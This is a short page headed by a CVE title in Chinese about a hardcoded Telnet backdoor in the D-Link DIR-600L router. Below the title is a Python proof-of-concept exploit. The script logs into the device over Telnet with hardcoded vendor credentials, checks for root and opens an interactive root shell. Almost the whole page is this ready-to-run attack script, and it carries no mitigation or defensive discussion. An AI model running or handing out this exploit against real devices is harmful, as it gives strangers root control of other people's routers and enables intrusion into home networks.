CVE-2026-42375 D-Link DIR-600L 硬编码Telnet后门漏洞

#!/usr/bin/env python3 import telnetlib import sys # Target IP address of the vulnerable device TARGET_IP = "192.168.0.1" TARGET_PORT = 23 # Hardcoded credentials extracted from firmware USERNAME = "Alphanetworks" PASSWORD = "wrgn35_dlwbr_dir600l" def exploit(): try: print(f"[*] Attempting to connect to {TARGET_IP} on port {TARGET_PORT}...") # Establish a Telnet connection tn = telnetlib.Telnet(TARGET_IP, TARGET_PORT, timeout=10) print("[*] Connection established. Waiting for login prompt...") # Wait for the login prompt (likely 'login: ') tn.read_until(b"login: ", timeout=5) tn.write(USERNAME.encode('ascii') + b"\n") # Wait for the password prompt (likely 'Password: ') tn.read_until(b"Password: ", timeout=5) tn.write(PASSWORD.encode('ascii') + b"\n") print("[*] Credentials sent. Checking for shell access...") # Interact with the shell to verify root access tn.write(b"id\n") response = tn.read_until(b"uid=0(root)", timeout=5) if b"uid=0(root)" in response: print("[+] SUCCESS! Root shell obtained.") print("[+] Dropping into interactive shell...") tn.interact() else: print("[-] Failed to obtain root shell. Credentials might be incorrect or patched.") tn.close() except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()